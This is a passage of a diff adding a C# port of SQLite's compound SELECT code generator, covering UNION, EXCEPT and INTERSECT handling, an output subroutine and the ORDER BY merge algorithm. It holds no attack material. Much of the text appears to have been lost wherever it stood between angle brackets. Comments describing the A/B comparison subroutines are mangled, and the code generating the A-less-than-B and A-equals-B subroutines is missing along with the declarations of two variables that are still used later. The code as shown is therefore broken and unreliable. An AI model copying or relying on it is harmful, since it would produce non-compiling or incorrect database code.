separately. + */ + if ( p.pOrderBy != null ) + { + return multiSelectOrderBy( pParse, p, pDest ); + } + + /* Generate code for the left and right SELECT statements. + */ + switch ( p.op ) + { + case TK_ALL: + { + int addr = 0; + Debug.Assert( pPrior.pLimit == null ); + pPrior.pLimit = p.pLimit; + pPrior.pOffset = p.pOffset; + rc = sqlite3Select( pParse, pPrior, ref dest ); + p.pLimit = null; + p.pOffset = null; + if ( rc != 0 ) + { + goto multi_select_end; + } + p.pPrior = null; + p.iLimit = pPrior.iLimit; + p.iOffset = pPrior.iOffset; + if ( p.iLimit != 0 ) + { + addr = sqlite3VdbeAddOp1( v, OP_IfZero, p.iLimit ); +#if SQLITE_DEBUG + VdbeComment( v, "Jump ahead if LIMIT reached" ); +#endif + } + rc = sqlite3Select( pParse, p, ref dest ); + testcase( rc != SQLITE_OK ); + pDelete = p.pPrior; + p.pPrior = pPrior; + if ( addr != 0 ) + { + sqlite3VdbeJumpHere( v, addr ); + } + break; + } + case TK_EXCEPT: + case TK_UNION: + { + int unionTab; /* VdbeCursor number of the temporary table holding result */ + u8 op = 0; /* One of the SRT_ operations to apply to self */ + int priorOp; /* The SRT_ operation to apply to prior selects */ + Expr pLimit, pOffset; /* Saved values of p.nLimit and p.nOffset */ + int addr; + SelectDest uniondest = new SelectDest(); + + testcase( p.op == TK_EXCEPT ); + testcase( p.op == TK_UNION ); + priorOp = SRT_Union; + if ( dest.eDest == priorOp && ALWAYS( null == p.pLimit && null == p.pOffset ) ) + { + /* We can reuse a temporary table generated by a SELECT to our + ** right. + */ + Debug.Assert( p.pRightmost != p ); /* Can only happen for leftward elements + ** of a 3-way or more compound */ + Debug.Assert( p.pLimit == null ); /* Not allowed on leftward elements */ + Debug.Assert( p.pOffset == null ); /* Not allowed on leftward elements */ + unionTab = dest.iParm; + } + else + { + /* We will need to create our own temporary table to hold the + ** intermediate results. + */ + unionTab = pParse.nTab++; + Debug.Assert( p.pOrderBy == null ); + addr = sqlite3VdbeAddOp2( v, OP_OpenEphemeral, unionTab, 0 ); + Debug.Assert( p.addrOpenEphm[0] == -1 ); + p.addrOpenEphm[0] = addr; + p.pRightmost.selFlags |= SF_UsesEphemeral; + Debug.Assert( p.pEList != null ); + } + + /* Code the SELECT statements to our left + */ + Debug.Assert( pPrior.pOrderBy == null ); + sqlite3SelectDestInit( uniondest, priorOp, unionTab ); + rc = sqlite3Select( pParse, pPrior, ref uniondest ); + if ( rc != 0 ) + { + goto multi_select_end; + } + + /* Code the current SELECT statement + */ + if ( p.op == TK_EXCEPT ) + { + op = SRT_Except; + } + else + { + Debug.Assert( p.op == TK_UNION ); + op = SRT_Union; + } + p.pPrior = null; + pLimit = p.pLimit; + p.pLimit = null; + pOffset = p.pOffset; + p.pOffset = null; + uniondest.eDest = op; + rc = sqlite3Select( pParse, p, ref uniondest ); + testcase( rc != SQLITE_OK ); + /* Query flattening in sqlite3Select() might refill p.pOrderBy. + ** Be sure to delete p.pOrderBy, therefore, to avoid a memory leak. */ + sqlite3ExprListDelete( db, ref p.pOrderBy ); + pDelete = p.pPrior; + p.pPrior = pPrior; + p.pOrderBy = null; + sqlite3ExprDelete( db, ref p.pLimit ); + p.pLimit = pLimit; + p.pOffset = pOffset; + p.iLimit = 0; + p.iOffset = 0; + + /* Convert the data in the temporary table into whatever form + ** it is that we currently need. + */ + Debug.Assert( unionTab == dest.iParm || dest.eDest != priorOp ); + if ( dest.eDest != priorOp ) + { + int iCont, iBreak, iStart; + Debug.Assert( p.pEList != null ); + if ( dest.eDest == SRT_Output ) + { + Select pFirst = p; + while ( pFirst.pPrior != null ) pFirst = pFirst.pPrior; + generateColumnNames( pParse, null, pFirst.pEList ); + } + iBreak = sqlite3VdbeMakeLabel( v ); + iCont = sqlite3VdbeMakeLabel( v ); + computeLimitRegisters( pParse, p, iBreak ); + sqlite3VdbeAddOp2( v, OP_Rewind, unionTab, iBreak ); + iStart = sqlite3VdbeCurrentAddr( v ); + selectInnerLoop( pParse, p, p.pEList, unionTab, p.pEList.nExpr, + null, -1, dest, iCont, iBreak ); + sqlite3VdbeResolveLabel( v, iCont ); + sqlite3VdbeAddOp2( v, OP_Next, unionTab, iStart ); + sqlite3VdbeResolveLabel( v, iBreak ); + sqlite3VdbeAddOp2( v, OP_Close, unionTab, 0 ); + } + break; + } + default: Debug.Assert( p.op == TK_INTERSECT ); + { + int tab1, tab2; + int iCont, iBreak, iStart; + Expr pLimit, pOffset; + int addr; + SelectDest intersectdest = new SelectDest(); + int r1; + + /* INTERSECT is different from the others since it requires + ** two temporary tables. Hence it has its own case. Begin + ** by allocating the tables we will need. + */ + tab1 = pParse.nTab++; + tab2 = pParse.nTab++; + Debug.Assert( p.pOrderBy == null ); + + addr = sqlite3VdbeAddOp2( v, OP_OpenEphemeral, tab1, 0 ); + Debug.Assert( p.addrOpenEphm[0] == -1 ); + p.addrOpenEphm[0] = addr; + p.pRightmost.selFlags |= SF_UsesEphemeral; + Debug.Assert( p.pEList != null ); + + /* Code the SELECTs to our left into temporary table "tab1". + */ + sqlite3SelectDestInit( intersectdest, SRT_Union, tab1 ); + rc = sqlite3Select( pParse, pPrior, ref intersectdest ); + if ( rc != 0 ) + { + goto multi_select_end; + } + + /* Code the current SELECT into temporary table "tab2" + */ + addr = sqlite3VdbeAddOp2( v, OP_OpenEphemeral, tab2, 0 ); + Debug.Assert( p.addrOpenEphm[1] == -1 ); + p.addrOpenEphm[1] = addr; + p.pPrior = null; + pLimit = p.pLimit; + p.pLimit = null; + pOffset = p.pOffset; + p.pOffset = null; + intersectdest.iParm = tab2; + rc = sqlite3Select( pParse, p, ref intersectdest ); + testcase( rc != SQLITE_OK ); + p.pPrior = pPrior; + sqlite3ExprDelete( db, ref p.pLimit ); + p.pLimit = pLimit; + p.pOffset = pOffset; + + /* Generate code to take the intersection of the two temporary + ** tables. + */ + Debug.Assert( p.pEList != null ); + if ( dest.eDest == SRT_Output ) + { + Select pFirst = p; + while ( pFirst.pPrior != null ) pFirst = pFirst.pPrior; + generateColumnNames( pParse, null, pFirst.pEList ); + } + iBreak = sqlite3VdbeMakeLabel( v ); + iCont = sqlite3VdbeMakeLabel( v ); + computeLimitRegisters( pParse, p, iBreak ); + sqlite3VdbeAddOp2( v, OP_Rewind, tab1, iBreak ); + r1 = sqlite3GetTempReg( pParse ); + iStart = sqlite3VdbeAddOp2( v, OP_RowKey, tab1, r1 ); + sqlite3VdbeAddOp3( v, OP_NotFound, tab2, iCont, r1 ); + sqlite3ReleaseTempReg( pParse, r1 ); + selectInnerLoop( pParse, p, p.pEList, tab1, p.pEList.nExpr, + null, -1, dest, iCont, iBreak ); + sqlite3VdbeResolveLabel( v, iCont ); + sqlite3VdbeAddOp2( v, OP_Next, tab1, iStart ); + sqlite3VdbeResolveLabel( v, iBreak ); + sqlite3VdbeAddOp2( v, OP_Close, tab2, 0 ); + sqlite3VdbeAddOp2( v, OP_Close, tab1, 0 ); + break; + } + } + + + /* Compute collating sequences used by + ** temporary tables needed to implement the compound select. + ** Attach the KeyInfo structure to all temporary tables. + ** + ** This section is run by the right-most SELECT statement only. + ** SELECT statements to the left always skip this part. The right-most + ** SELECT might also skip this part if it has no ORDER BY clause and + ** no temp tables are required. + */ + if ( ( p.selFlags & SF_UsesEphemeral ) != 0 ) + { + int i; /* Loop counter */ + KeyInfo pKeyInfo; /* Collating sequence for the result set */ + Select pLoop; /* For looping through SELECT statements */ + CollSeq apColl; /* For looping through pKeyInfo.aColl[] */ + int nCol; /* Number of columns in result set */ + + Debug.Assert( p.pRightmost == p ); + nCol = p.pEList.nExpr; + pKeyInfo = new KeyInfo(); //sqlite3DbMallocZero(db, + pKeyInfo.aColl = new CollSeq[nCol]; //sizeof(*pKeyInfo)+nCol*(CollSeq*.Length + 1)); + if ( pKeyInfo == null ) + { + rc = SQLITE_NOMEM; + goto multi_select_end; + } + + pKeyInfo.enc = db.aDbStatic[0].pSchema.enc;// ENC( pParse.db ); + pKeyInfo.nField = (u16)nCol; + + for ( i = 0 ; i < nCol ; i++ ) + {//, apColl++){ + apColl = multiSelectCollSeq( pParse, p, i ); + if ( null == apColl ) + { + apColl = db.pDfltColl; + } + pKeyInfo.aColl[i] = apColl; + } + + for ( pLoop = p ; pLoop != null ; pLoop = pLoop.pPrior ) + { + for ( i = 0 ; i < 2 ; i++ ) + { + int addr = pLoop.addrOpenEphm[i]; + if ( addr < 0 ) + { + /* If [0] is unused then [1] is also unused. So we can + ** always safely abort as soon as the first unused slot is found */ + Debug.Assert( pLoop.addrOpenEphm[1] < 0 ); + break; + } + sqlite3VdbeChangeP2( v, addr, nCol ); + sqlite3VdbeChangeP4( v, addr, pKeyInfo, P4_KEYINFO ); + pLoop.addrOpenEphm[i] = -1; + } + } + //sqlite3DbFree( db, ref pKeyInfo ); + } + +multi_select_end: + pDest.iMem = dest.iMem; + pDest.nMem = dest.nMem; + sqlite3SelectDelete( db, ref pDelete ); + return rc; + } +#endif // * SQLITE_OMIT_COMPOUND_SELECT */ + + /* +** Code an output subroutine for a coroutine implementation of a +** SELECT statment. +** +** The data to be output is contained in pIn.iMem. There are +** pIn.nMem columns to be output. pDest is where the output should +** be sent. +** +** regReturn is the number of the register holding the subroutine +** return address. +** +** If regPrev>0 then it is a the first register in a vector that +** records the previous output. mem[regPrev] is a flag that is false +** if there has been no previous output. If regPrev>0 then code is +** generated to suppress duplicates. pKeyInfo is used for comparing +** keys. +** +** If the LIMIT found in p.iLimit is reached, jump immediately to +** iBreak. +*/ + static int generateOutputSubroutine( + Parse pParse, /* Parsing context */ + Select p, /* The SELECT statement */ + SelectDest pIn, /* Coroutine supplying data */ + SelectDest pDest, /* Where to send the data */ + int regReturn, /* The return address register */ + int regPrev, /* Previous result register. No uniqueness if 0 */ + KeyInfo pKeyInfo, /* For comparing with previous entry */ + int p4type, /* The p4 type for pKeyInfo */ + int iBreak /* Jump here if we hit the LIMIT */ + ) + { + Vdbe v = pParse.pVdbe; + int iContinue; + int addr; + + addr = sqlite3VdbeCurrentAddr( v ); + iContinue = sqlite3VdbeMakeLabel( v ); + + /* Suppress duplicates for UNION, EXCEPT, and INTERSECT + */ + if ( regPrev != 0 ) + { + int j1, j2; + j1 = sqlite3VdbeAddOp1( v, OP_IfNot, regPrev ); + j2 = sqlite3VdbeAddOp4( v, OP_Compare, pIn.iMem, regPrev + 1, pIn.nMem, + pKeyInfo, p4type ); + sqlite3VdbeAddOp3( v, OP_Jump, j2 + 2, iContinue, j2 + 2 ); + sqlite3VdbeJumpHere( v, j1 ); + sqlite3ExprCodeCopy( pParse, pIn.iMem, regPrev + 1, pIn.nMem ); + sqlite3VdbeAddOp2( v, OP_Integer, 1, regPrev ); + } + //if ( pParse.db.mallocFailed != 0 ) return 0; + + /* Suppress the the first OFFSET entries if there is an OFFSET clause + */ + codeOffset( v, p, iContinue ); + + switch ( pDest.eDest ) + { + /* Store the result as data using a unique key. + */ + case SRT_Table: + case SRT_EphemTab: + { + int r1 = sqlite3GetTempReg( pParse ); + int r2 = sqlite3GetTempReg( pParse ); + testcase( pDest.eDest == SRT_Table ); + testcase( pDest.eDest == SRT_EphemTab ); + sqlite3VdbeAddOp3( v, OP_MakeRecord, pIn.iMem, pIn.nMem, r1 ); + sqlite3VdbeAddOp2( v, OP_NewRowid, pDest.iParm, r2 ); + sqlite3VdbeAddOp3( v, OP_Insert, pDest.iParm, r1, r2 ); + sqlite3VdbeChangeP5( v, OPFLAG_APPEND ); + sqlite3ReleaseTempReg( pParse, r2 ); + sqlite3ReleaseTempReg( pParse, r1 ); + break; + } + +#if !SQLITE_OMIT_SUBQUERY + /* If we are creating a set for an "expr IN (SELECT ...)" construct, +** then there should be a single item on the stack. Write this +** item into the set table with bogus data. +*/ + case SRT_Set: + { + int r1; + Debug.Assert( pIn.nMem == 1 ); + p.affinity = + sqlite3CompareAffinity( p.pEList.a[0].pExpr, pDest.affinity ); + r1 = sqlite3GetTempReg( pParse ); + sqlite3VdbeAddOp4( v, OP_MakeRecord, pIn.iMem, 1, r1, p.affinity, 1 ); + sqlite3ExprCacheAffinityChange( pParse, pIn.iMem, 1 ); + sqlite3VdbeAddOp2( v, OP_IdxInsert, pDest.iParm, r1 ); + sqlite3ReleaseTempReg( pParse, r1 ); + break; + } + +#if FALSE //* Never occurs on an ORDER BY query */ +/* If any row exist in the result set, record that fact and abort. +*/ +case SRT_Exists: { +sqlite3VdbeAddOp2(v, OP_Integer, 1, pDest.iParm); +/* The LIMIT clause will terminate the loop for us */ +break; +} +#endif + + /* If this is a scalar select that is part of an expression, then +** store the results in the appropriate memory cell and break out +** of the scan loop. +*/ + case SRT_Mem: + { + Debug.Assert( pIn.nMem == 1 ); + sqlite3ExprCodeMove( pParse, pIn.iMem, pDest.iParm, 1 ); + /* The LIMIT clause will jump out of the loop for us */ + break; + } +#endif //* #if !SQLITE_OMIT_SUBQUERY */ + + /* The results are stored in a sequence of registers +** starting at pDest.iMem. Then the co-routine yields. +*/ + case SRT_Coroutine: + { + if ( pDest.iMem == 0 ) + { + pDest.iMem = sqlite3GetTempRange( pParse, pIn.nMem ); + pDest.nMem = pIn.nMem; + } + sqlite3ExprCodeMove( pParse, pIn.iMem, pDest.iMem, pDest.nMem ); + sqlite3VdbeAddOp1( v, OP_Yield, pDest.iParm ); + break; + } + + /* If none of the above, then the result destination must be + ** SRT_Output. This routine is never called with any other + ** destination other than the ones handled above or SRT_Output. + ** + ** For SRT_Output, results are stored in a sequence of registers. + ** Then the OP_ResultRow opcode is used to cause sqlite3_step() to + ** return the next row of result. + */ + default: + { + Debug.Assert( pDest.eDest == SRT_Output ); + sqlite3VdbeAddOp2( v, OP_ResultRow, pIn.iMem, pIn.nMem ); + sqlite3ExprCacheAffinityChange( pParse, pIn.iMem, pIn.nMem ); + break; + } + } + + /* Jump to the end of the loop if the LIMIT is reached. + */ + if ( p.iLimit != 0 ) + { + sqlite3VdbeAddOp2( v, OP_AddImm, p.iLimit, -1 ); + sqlite3VdbeAddOp2( v, OP_IfZero, p.iLimit, iBreak ); + } + + /* Generate the subroutine return + */ + sqlite3VdbeResolveLabel( v, iContinue ); + sqlite3VdbeAddOp1( v, OP_Return, regReturn ); + + return addr; + } + + /* + ** Alternative compound select code generator for cases when there + ** is an ORDER BY clause. + ** + ** We assume a query of the following form: + ** + ** ORDER BY + ** + ** is one of UNION ALL, UNION, EXCEPT, or INTERSECT. The idea + ** is to code both and with the ORDER BY clause as + ** co-routines. Then run the co-routines in parallel and merge the results + ** into the output. In addition to the two coroutines (called selectA and + ** selectB) there are 7 subroutines: + ** + ** outA: Move the output of the selectA coroutine into the output + ** of the compound query. + ** + ** outB: Move the output of the selectB coroutine into the output + ** of the compound query. (Only generated for UNION and + ** UNION ALL. EXCEPT and INSERTSECT never output a row that + ** appears only in B.) + ** + ** AltB: Called when there is data from both coroutines and AB. + ** + ** EofA: Called when data is exhausted from selectA. + ** + ** EofB: Called when data is exhausted from selectB. + ** + ** The implementation of the latter five subroutines depend on which + ** is used: + ** + ** + ** UNION ALL UNION EXCEPT INTERSECT + ** ------------- ----------------- -------------- ----------------- + ** AltB: outA, nextA outA, nextA outA, nextA nextA + ** + ** AeqB: outA, nextA nextA nextA outA, nextA + ** + ** AgtB: outB, nextB outB, nextB nextB nextB + ** + ** EofA: outB, nextB outB, nextB halt halt + ** + ** EofB: outA, nextA outA, nextA outA, nextA halt + ** + ** In the AltB, AeqB, and AgtB subroutines, an EOF on A following nextA + ** causes an immediate jump to EofA and an EOF on B following nextB causes + ** an immediate jump to EofB. Within EofA and EofB, and EOF on entry or + ** following nextX causes a jump to the end of the select processing. + ** + ** Duplicate removal in the UNION, EXCEPT, and INTERSECT cases is handled + ** within the output subroutine. The regPrev register set holds the previously + ** output value. A comparison is made against this value and the output + ** is skipped if the next results would be the same as the previous. + ** + ** The implementation plan is to implement the two coroutines and seven + ** subroutines first, then put the control logic at the bottom. Like this: + ** + ** goto Init + ** coA: coroutine for left query (A) + ** coB: coroutine for right query (B) + ** outA: output one row of A + ** outB: output one row of B (UNION and UNION ALL only) + ** EofA: ... + ** EofB: ... + ** AltB: ... + ** AeqB: ... + ** AgtB: ... + ** Init: initialize coroutine registers + ** yield coA + ** if eof(A) goto EofA + ** yield coB + ** if eof(B) goto EofB + ** Cmpr: Compare A, B + ** Jump AltB, AeqB, AgtB + ** End: ... + ** + ** We call AltB, AeqB, AgtB, EofA, and EofB "subroutines" but they are not + ** actually called using Gosub and they do not Return. EofA and EofB loop + ** until all data is exhausted then jump to the "end" labe. AltB, AeqB, + ** and AgtB jump to either L2 or to one of EofA or EofB. + */ +#if !SQLITE_OMIT_COMPOUND_SELECT + static int multiSelectOrderBy( + Parse pParse, /* Parsing context */ + Select p, /* The right-most of SELECTs to be coded */ + SelectDest pDest /* What to do with query results */ + ) + { + int i, j; /* Loop counters */ + Select pPrior; /* Another SELECT immediately to our left */ + Vdbe v; /* Generate code to this VDBE */ + SelectDest destA = new SelectDest(); /* Destination for coroutine A */ + SelectDest destB = new SelectDest(); /* Destination for coroutine B */ + int regAddrA; /* Address register for select-A coroutine */ + int regEofA; /* Flag to indicate when select-A is complete */ + int regAddrB; /* Address register for select-B coroutine */ + int regEofB; /* Flag to indicate when select-B is complete */ + int addrSelectA; /* Address of the select-A coroutine */ + int addrSelectB; /* Address of the select-B coroutine */ + int regOutA; /* Address register for the output-A subroutine */ + int regOutB; /* Address register for the output-B subroutine */ + int addrOutA; /* Address of the output-A subroutine */ + int addrOutB = 0; /* Address of the output-B subroutine */ + int addrEofA; /* Address of the select-A-exhausted subroutine */ + int addrEofB; /* Address of the select-B-exhausted subroutine */ + int addrAltB; /* Address of the AB subroutine */ + int regLimitA; /* Limit register for select-A */ + int regLimitB; /* Limit register for select-A */ + int regPrev; /* A range of registers to hold previous output */ + int savedLimit; /* Saved value of p.iLimit */ + int savedOffset; /* Saved value of p.iOffset */ + int labelCmpr; /* Label for the start of the merge algorithm */ + int labelEnd; /* Label for the end of the overall SELECT stmt */ + int j1; /* Jump instructions that get retargetted */ + int op; /* One of TK_ALL, TK_UNION, TK_EXCEPT, TK_INTERSECT */ + KeyInfo pKeyDup = null; /* Comparison information for duplicate removal */ + KeyInfo pKeyMerge; /* Comparison information for merging rows */ + sqlite3 db; /* Database connection */ + ExprList pOrderBy; /* The ORDER BY clause */ + int nOrderBy; /* Number of terms in the ORDER BY clause */ + int[] aPermute; /* Mapping from ORDER BY terms to result set columns */ + + Debug.Assert( p.pOrderBy != null ); + Debug.Assert( pKeyDup == null ); /* "Managed" code needs this. Ticket #3382. */ + db = pParse.db; + v = pParse.pVdbe; + Debug.Assert( v != null ); /* Already thrown the error if VDBE alloc failed */ + labelEnd = sqlite3VdbeMakeLabel( v ); + labelCmpr = sqlite3VdbeMakeLabel( v ); + + + /* Patch up the ORDER BY clause + */ + op = p.op; + pPrior = p.pPrior; + Debug.Assert( pPrior.pOrderBy == null ); + pOrderBy = p.pOrderBy; + Debug.Assert( pOrderBy != null ); + nOrderBy = pOrderBy.nExpr; + + /* For operators other than UNION ALL we have to make sure that + ** the ORDER BY clause covers every term of the result set. Add + ** terms to the ORDER BY clause as necessary. + */ + if ( op != TK_ALL ) + { + for ( i = 1 ; /* db.mallocFailed == 0 && */ i <= p.pEList.nExpr ; i++ ) + { + ExprList_item pItem; + for ( j = 0 ; j < nOrderBy ; j++ )//, pItem++) + { + pItem = pOrderBy.a[j]; + Debug.Assert( pItem.iCol > 0 ); + if ( pItem.iCol == i ) break; + } + if ( j == nOrderBy ) + { + Expr pNew = sqlite3Expr( db, TK_INTEGER, null ); + if ( pNew == null ) return SQLITE_NOMEM; + pNew.flags |= EP_IntValue; + pNew.u.iValue = i; + pOrderBy = sqlite3ExprListAppend( pParse, pOrderBy, pNew ); + pOrderBy.a[nOrderBy++].iCol = (u16)i; + } + } + } + + /* Compute the comparison permutation and keyinfo that is used with + ** the permutation used to determine if the next + ** row of results comes from selectA or selectB. Also add explicit + ** collations to the ORDER BY clause terms so that when the subqueries + ** to the right and the left are evaluated, they use the correct + ** collation. + */ + aPermute = new int[nOrderBy];// sqlite3DbMallocRaw( db, sizeof( int ) * nOrderBy ); + if ( aPermute != null ) + { + ExprList_item pItem; + for ( i = 0 ; i < nOrderBy ; i++ )//, pItem++) + { + pItem = pOrderBy.a[i]; + Debug.Assert( pItem.iCol > 0 && pItem.iCol <= p.pEList.nExpr ); + aPermute[i] = pItem.iCol - 1; + } + pKeyMerge = new KeyInfo();// sqlite3DbMallocRaw(db, sizeof(*pKeyMerge)+nOrderBy*(sizeof(CollSeq*)+1)); + if ( pKeyMerge != null ) + { + pKeyMerge.aColl = new CollSeq[nOrderBy]; + pKeyMerge.aSortOrder = new byte[nOrderBy];//(u8*)&pKeyMerge.aColl[nOrderBy]; + pKeyMerge.nField = (u16)nOrderBy; + pKeyMerge.enc = ENC( db ); + for ( i = 0 ; i < nOrderBy ; i++ ) + { + CollSeq pColl; + Expr pTerm = pOrderBy.a[i].pExpr; + if ( ( pTerm.flags & EP_ExpCollate ) != 0 ) + { + pColl = pTerm.pColl; + } + else + { + pColl = multiSelectCollSeq( pParse, p, aPermute[i] ); + pTerm.flags |= EP_ExpCollate; + pTerm.pColl = pColl; + } + pKeyMerge.aColl[i] = pColl; + pKeyMerge.aSortOrder[i] = (byte)pOrderBy.a[i].sortOrder; + } + } + } + else + { + pKeyMerge = null; + } + + /* Reattach the ORDER BY clause to the query. + */ + p.pOrderBy = pOrderBy; + pPrior.pOrderBy = sqlite3ExprListDup( pParse.db, pOrderBy, 0 ); + + /* Allocate a range of temporary registers and the KeyInfo needed + ** for the logic that removes duplicate result rows when the + ** operator is UNION, EXCEPT, or INTERSECT (but not UNION ALL). + */ + if ( op == TK_ALL ) + { + regPrev = 0; + } + else + { + int nExpr = p.pEList.nExpr; + Debug.Assert( nOrderBy >= nExpr /*|| db.mallocFailed != 0 */ ); + regPrev = sqlite3GetTempRange( pParse, nExpr + 1 ); + sqlite3VdbeAddOp2( v, OP_Integer, 0, regPrev ); + pKeyDup = new KeyInfo();//sqlite3DbMallocZero(db, + //sizeof(*pKeyDup) + nExpr*(sizeof(CollSeq*)+1) ); + if ( pKeyDup != null ) + { + pKeyDup.aColl = new CollSeq[nExpr]; + pKeyDup.aSortOrder = new byte[nExpr];//(u8*)&pKeyDup.aColl[nExpr]; + pKeyDup.nField = (u16)nExpr; + pKeyDup.enc = ENC( db ); + for ( i = 0 ; i < nExpr ; i++ ) + { + pKeyDup.aColl[i] = multiSelectCollSeq( pParse, p, i ); + pKeyDup.aSortOrder[i] = 0; + } + } + } + + /* Separate the left and the right query from one another + */ + p.pPrior = null; + pPrior.pRightmost = null; + sqlite3ResolveOrderGroupBy( pParse, p, p.pOrderBy, "ORDER" ); + if ( pPrior.pPrior == null ) + { + sqlite3ResolveOrderGroupBy( pParse, pPrior, pPrior.pOrderBy, "ORDER" ); + } + + /* Compute the limit registers */ + computeLimitRegisters( pParse, p, labelEnd ); + if ( p.iLimit != 0 && op == TK_ALL ) + { + regLimitA = ++pParse.nMem; + regLimitB = ++pParse.nMem; + sqlite3VdbeAddOp2( v, OP_Copy, ( p.iOffset != 0 ) ? p.iOffset + 1 : p.iLimit, + regLimitA ); + sqlite3VdbeAddOp2( v, OP_Copy, regLimitA, regLimitB ); + } + else + { + regLimitA = regLimitB = 0; + } + sqlite3ExprDelete( db, ref p.pLimit ); + p.pLimit = null; + sqlite3ExprDelete( db, ref p.pOffset ); + p.pOffset = null; + + regAddrA = ++pParse.nMem; + regEofA = ++pParse.nMem; + regAddrB = ++pParse.nMem; + regEofB = ++pParse.nMem; + regOutA = ++pParse.nMem; + regOutB = ++pParse.nMem; + sqlite3SelectDestInit( destA, SRT_Coroutine, regAddrA ); + sqlite3SelectDestInit( destB, SRT_Coroutine, regAddrB ); + + /* Jump past the various subroutines and coroutines to the main + ** merge loop + */ + j1 = sqlite3VdbeAddOp0( v, OP_Goto ); + addrSelectA = sqlite3VdbeCurrentAddr( v ); + + + /* Generate a coroutine to evaluate the SELECT statement to the + ** left of the compound operator - the "A" select. + */ + VdbeNoopComment( v, "Begin coroutine for left SELECT" ); + pPrior.iLimit = regLimitA; + sqlite3Select( pParse, pPrior, ref destA ); + sqlite3VdbeAddOp2( v, OP_Integer, 1, regEofA ); + sqlite3VdbeAddOp1( v, OP_Yield, regAddrA ); + VdbeNoopComment( v, "End coroutine for left SELECT" ); + + /* Generate a coroutine to evaluate the SELECT statement on + ** the right - the "B" select + */ + addrSelectB = sqlite3VdbeCurrentAddr( v ); + VdbeNoopComment( v, "Begin coroutine for right SELECT" ); + savedLimit = p.iLimit; + savedOffset = p.iOffset; + p.iLimit = regLimitB; + p.iOffset = 0; + sqlite3Select( pParse, p, ref destB ); + p.iLimit = savedLimit; + p.iOffset = savedOffset; + sqlite3VdbeAddOp2( v, OP_Integer, 1, regEofB ); + sqlite3VdbeAddOp1( v, OP_Yield, regAddrB ); + VdbeNoopComment( v, "End coroutine for right SELECT" ); + + /* Generate a subroutine that outputs the current row of the A + ** select as the next output row of the compound select. + */ + VdbeNoopComment( v, "Output routine for A" ); + addrOutA = generateOutputSubroutine( pParse, + p, destA, pDest, regOutA, + regPrev, pKeyDup, P4_KEYINFO_HANDOFF, labelEnd ); + + /* Generate a subroutine that outputs the current row of the B + ** select as the next output row of the compound select. + */ + if ( op == TK_ALL || op == TK_UNION ) + { + VdbeNoopComment( v, "Output routine for B" ); + addrOutB = generateOutputSubroutine( pParse, + p, destB, pDest, regOutB, + regPrev, pKeyDup, P4_KEYINFO_STATIC, labelEnd ); + } + + /* Generate a subroutine to run when the results from select A + ** are exhausted and only data in select B remains. + */ + VdbeNoopComment( v, "eof-A subroutine" ); + if ( op == TK_EXCEPT || op == TK_INTERSECT ) + { + addrEofA = sqlite3VdbeAddOp2( v, OP_Goto, 0, labelEnd ); + } + else + { + addrEofA = sqlite3VdbeAddOp2( v, OP_If, regEofB, labelEnd ); + sqlite3VdbeAddOp2( v, OP_Gosub, regOutB, addrOutB ); + sqlite3VdbeAddOp1( v, OP_Yield, regAddrB ); + sqlite3VdbeAddOp2( v, OP_Goto, 0, addrEofA ); + } + + /* Generate a subroutine to run when the results from select B + ** are exhausted and only data in select A remains. + */ + if ( op == TK_INTERSECT ) + { + addrEofB = addrEofA; + } + else + { + VdbeNoopComment( v, "eof-B subroutine" ); + addrEofB = sqlite3VdbeAddOp2( v, OP_If, regEofA, labelEnd ); + sqlite3VdbeAddOp2( v, OP_Gosub, regOutA, addrOutA ); + sqlite3VdbeAddOp1( v, OP_Yield, regAddrA ); + sqlite3VdbeAddOp2( v, OP_Goto, 0, addrEofB ); + } + + /* Generate code to handle the case of AB + */ + VdbeNoopComment( v, "A-gt-B subroutine" ); + addrAgtB = sqlite3VdbeCurrentAddr( v ); + if ( op == TK_ALL || op == TK_UNION ) + { + sqlite3VdbeAddOp2( v, OP_Gosub, regOutB, addrOutB ); + } + sqlite3VdbeAddOp1( v, OP_Yield, regAddrB ); + sqlite3VdbeAddOp2( v, OP_If, regEofB, addrEofB ); + sqlite3VdbeAddOp2( v, OP_Goto, 0, labelCmpr ); + + /* This code runs once to initialize everything. + */ + sqlite3VdbeJumpHere( v, j1 ); + sqlite3VdbeAddOp2( v, OP_Integer, 0, regEofA ); + sqlite3VdbeAddOp2( v, OP_Integer, 0, regEofB ); + sqlite3VdbeAddOp2( v, OP_Gosub, regAddrA, addrSelectA ); + sqlite3VdbeAddOp2( v, OP_Gosub, regAddrB, addrSelectB ); + sqlite3VdbeAddOp2( v, OP_If, regEofA, addrEofA ); + sqlite3VdbeAddOp2( v, OP_If, regEofB, addrEofB ); + + /* Implement the main merge loop + */ + sqlite3VdbeResolveLabel( v, labelCmpr ); + sqlite3VdbeAddOp4( v, OP_Permutation, 0, 0, 0, aPermute, P4_INTARRAY ); + sqlite3VdbeAddOp4( v, OP_Compare, destA.iMem, destB.iMem, nOrderBy, + pKeyMerge, P4_KEYINFO_HANDOFF ); + sqlite3VdbeAddOp3( v, OP_Jump, addrAltB, addrAeqB, addrAgtB ); + + /* Release temporary registers + */ + if ( regPrev != 0 ) + { + sqlite3ReleaseTempRange( pParse, regPrev, nOrderBy + 1 ); + } + + /* Jump to the this point in order to terminate the query. + */ + sqlite3VdbeResolveLabel( v, labelEnd ); + + /* Set the number of output columns + */ + if ( pDest.eDest == SRT_Output ) + { + Select pFirst = pPrior; + while ( pFirst.pPrior != null ) pFirst = pFirst.pPrior; + generateColumnNames( pParse, null, pFirst.pEList ); + } + + /* Reassembly the compound query so that it will be freed correctly + ** by the calling function */ + if ( p.pPrior != null ) + { + sqlite3SelectDelete( db, ref p.pPrior ); + } + p.pPrior = pPrior; + + /*** TBD: Insert subroutine calls to close cursors on incomplete + **** subqueries ****/ + return SQLITE_OK; + } +#endif +#if !(SQLITE_OMIT_SUBQUERY) || !(SQLITE_OMIT_VIEW) + /* Forward Declarations */ + //static void substExprList(sqlite3*, ExprList*, int, ExprList*); + //static void substSelect(sqlite3*, Select *, int, ExprList *); + + /* + ** Scan through the expression pExpr. Replace every reference to + ** a column in table number iTable with a copy of the iColumn-th + ** entry in pEList. (But leave references to the ROWID column + ** unchanged.) + ** + ** This routine is part of the flattening procedure. A subquery + ** whose result set is defined by pEList appears as entry in the + ** FROM clause of a SELECT such that the VDBE cursor assigned to that + ** FORM clause entry is iTable. This routine make the necessary + ** changes to pExpr so that it refers directly to the source table + ** of the subquery rather the result set of the subquery. + */ + static Expr substExpr( + sqlite3 db, /* Report malloc errors to this connection */ + Expr pExpr, /* Expr in which substitution occurs */ + int iTable, /* Table to be substituted */ + ExprList pEList /* Substitute expressions */ + ) + { + if ( pExpr == 